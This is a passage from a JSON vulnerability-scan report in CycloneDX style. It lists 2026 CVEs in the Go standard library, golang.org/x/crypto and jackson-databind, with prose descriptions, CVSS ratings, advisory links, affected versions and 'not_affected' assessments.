"https://bugzilla.redhat.com/2515840" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515815" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515820" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515827" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515838" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515839" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515840" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-60304.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:60304" }, { "url": "https://go.dev/cl/795540" }, { "url": "https://go.dev/issue/80205" }, { "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-56853.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-62631-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56853" }, { "url": "https://pkg.go.dev/vuln/GO-2026-6089" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56853" } ], "published": "2026-08-13T22:17:22+00:00", "updated": "2026-09-03T16:37:52+00:00", "affects": [ { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.5", "versions": [ { "version": "v1.26.5", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:golang/stdlib@v1.26.5" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-56854", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "redhat" }, "score": 9.1, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" } ], "cwes": [ 863 ], "description": "The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback, KeyboardInteractiveCallback, NoClientAuthCallback, and GSSAPIWithMICConfig.AllowLogin callbacks were not validated against the client's remote address, so a source-address restriction set by those callbacks was silently ignored. The check is now applied to the Permissions returned by any authentication callback.", "recommendation": "Upgrade golang.org/x/crypto to version 0.55.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56854" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56854" }, { "url": "https://go.dev/cl/797040" }, { "url": "https://go.dev/issue/80213" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56854" }, { "url": "https://pkg.go.dev/vuln/GO-2026-6303" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56854" } ], "published": "2026-08-28T16:18:17+00:00", "updated": "2026-09-03T16:37:52+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.52.0" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/golang.org/x/crypto@v0.52.0" } ] }, { "id": "CVE-2026-56855", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [], "cwes": [ 770 ], "description": "Previously, after a channel has been established, a malicious peer could send crafted messages that would deadlock the entire connection. Now, we handle all RFC 4254 channel messages; global requests are handled explicitly. Then, treat all other messages as a protocol error and tear the connection down instead of buffering and blocking.", "recommendation": "Upgrade golang.org/x/crypto to version 0.56.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56855" }, { "url": "https://go.dev/cl/826524" }, { "url": "https://go.dev/issue/81317" }, { "url": "https://groups.google.com/g/golang-announce/c/1y3fb2np35U" }, { "url": "https://pkg.go.dev/vuln/GO-2026-6355" } ], "published": "2026-09-02T20:17:36+00:00", "updated": "2026-09-03T16:37:52+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.52.0" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/golang.org/x/crypto@v0.52.0" } ] }, { "id": "CVE-2026-56858", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "bitnami" }, "score": 6.1, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 79 ], "description": "Previously, pathological inputs could close an unescaped '/' early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS.", "recommendation": "Upgrade stdlib to version 1.25.13, 1.26.6, 1.27.0-rc.3", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56858" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60304" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56858" }, { "url": "https://bugzilla.redhat.com/2515815" }, { "url": "https://bugzilla.redhat.com/2515820" }, { "url": "https://bugzilla.redhat.com/2515827" }, { "url": "https://bugzilla.redhat.com/2515838" }, { "url": "https://bugzilla.redhat.com/2515839" }, { "url": "https://bugzilla.redhat.com/2515840" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515815" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515820" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515827" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515838" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515839" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515840" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-60304.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:60304" }, { "url": "https://go.dev/cl/807100" }, { "url": "https://go.dev/issue/80435" }, { "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-56858.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-60306-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56858" }, { "url": "https://pkg.go.dev/vuln/GO-2026-6091" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56858" } ], "published": "2026-08-13T22:17:22+00:00", "updated": "2026-09-03T16:37:52+00:00", "affects": [ { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.5", "versions": [ { "version": "v1.26.5", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:golang/stdlib@v1.26.5" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-56859", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "bitnami" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 770 ], "description": "Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.", "recommendation": "Upgrade stdlib to version 1.25.13, 1.26.6, 1.27.0-rc.3", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56859" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60304" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56859" }, { "url": "https://bugzilla.redhat.com/2515815" }, { "url": "https://bugzilla.redhat.com/2515820" }, { "url": "https://bugzilla.redhat.com/2515827" }, { "url": "https://bugzilla.redhat.com/2515838" }, { "url": "https://bugzilla.redhat.com/2515839" }, { "url": "https://bugzilla.redhat.com/2515840" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515815" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515820" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515827" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515838" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515839" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515840" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-60304.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:60304" }, { "url": "https://go.dev/cl/803320" }, { "url": "https://go.dev/issue/80481" }, { "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-56859.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-62631-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56859" }, { "url": "https://pkg.go.dev/vuln/GO-2026-6088" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56859" } ], "published": "2026-08-13T22:17:22+00:00", "updated": "2026-09-03T16:37:52+00:00", "affects": [ { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.5", "versions": [ { "version": "v1.26.5", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:golang/stdlib@v1.26.5" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-56860", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "bitnami" }, "score": 5.9, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 407 ], "description": "Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.", "recommendation": "Upgrade stdlib to version 1.25.13, 1.26.6, 1.27.0-rc.3", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56860" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60304" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56860" }, { "url": "https://bugzilla.redhat.com/2515815" }, { "url": "https://bugzilla.redhat.com/2515820" }, { "url": "https://bugzilla.redhat.com/2515827" }, { "url": "https://bugzilla.redhat.com/2515838" }, { "url": "https://bugzilla.redhat.com/2515839" }, { "url": "https://bugzilla.redhat.com/2515840" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515815" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515820" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515827" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515838" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515839" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515840" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-60304.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:60304" }, { "url": "https://go.dev/cl/803681" }, { "url": "https://go.dev/issue/80494" }, { "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-56860.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-62631-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56860" }, { "url": "https://pkg.go.dev/vuln/GO-2026-6218" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56860" } ], "published": "2026-08-13T22:17:22+00:00", "updated": "2026-09-03T16:37:52+00:00", "affects": [ { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.5", "versions": [ { "version": "v1.26.5", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:golang/stdlib@v1.26.5" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-56862", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "bitnami" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 770 ], "description": "Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.", "recommendation": "Upgrade stdlib to version 1.25.13, 1.26.6, 1.27.0-rc.3", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56862" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60304" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56862" }, { "url": "https://bugzilla.redhat.com/2515815" }, { "url": "https://bugzilla.redhat.com/2515820" }, { "url": "https://bugzilla.redhat.com/2515827" }, { "url": "https://bugzilla.redhat.com/2515838" }, { "url": "https://bugzilla.redhat.com/2515839" }, { "url": "https://bugzilla.redhat.com/2515840" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515815" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515820" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515827" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515838" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515839" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515840" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-60304.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:60304" }, { "url": "https://go.dev/cl/804261" }, { "url": "https://go.dev/issue/80528" }, { "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-56862.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-62631-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56862" }, { "url": "https://pkg.go.dev/vuln/GO-2026-6090" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56862" } ], "published": "2026-08-13T22:17:22+00:00", "updated": "2026-09-03T16:37:52+00:00", "affects": [ { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.5", "versions": [ { "version": "v1.26.5", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:golang/stdlib@v1.26.5" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-59888", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "ghsa" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" } ], "cwes": [ 915 ], "description": "jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.15.0 until 2.18.8, 2.21.4, and 3.1.4, Java Records using a PropertyNamingStrategy can bypass @JsonIgnore because POJOPropertiesCollector._removeUnwantedIgnorals() records an ignored component under its original implicit name before _renameUsing() applies the naming strategy, allowing the renamed JSON key to be assigned to the Record constructor parameter. This issue is fixed in versions 2.18.8, 2.21.4, and 3.1.4.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-59888" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-59888" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/baa2cdf5ca2b2717fbb88d91955d69d8651df3e4" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/c7c678360624da5bc7eed2152789fa522880db9d" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/5974" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-3pjw-73gf-8qr5" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59888" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-59888" } ], "published": "2026-07-14T17:17:15+00:00", "updated": "2026-07-15T20:18:23+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-59889", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "ghsa" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" } ], "cwes": [ 863 ], "description": "jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.18.0 until 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1, UnwrappedPropertyHandler.processUnwrapped() replays buffered JSON for a @JsonUnwrapped property and calls prop.deserializeAndSet() without a prop.visibleInView(ctxt.getActiveView()) guard, allowing a property annotated with both @JsonView and @JsonUnwrapped to be written from attacker JSON under a less-privileged active view. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.21.5, 2.18.9, 2.22.1", "advisories": [ { "url": 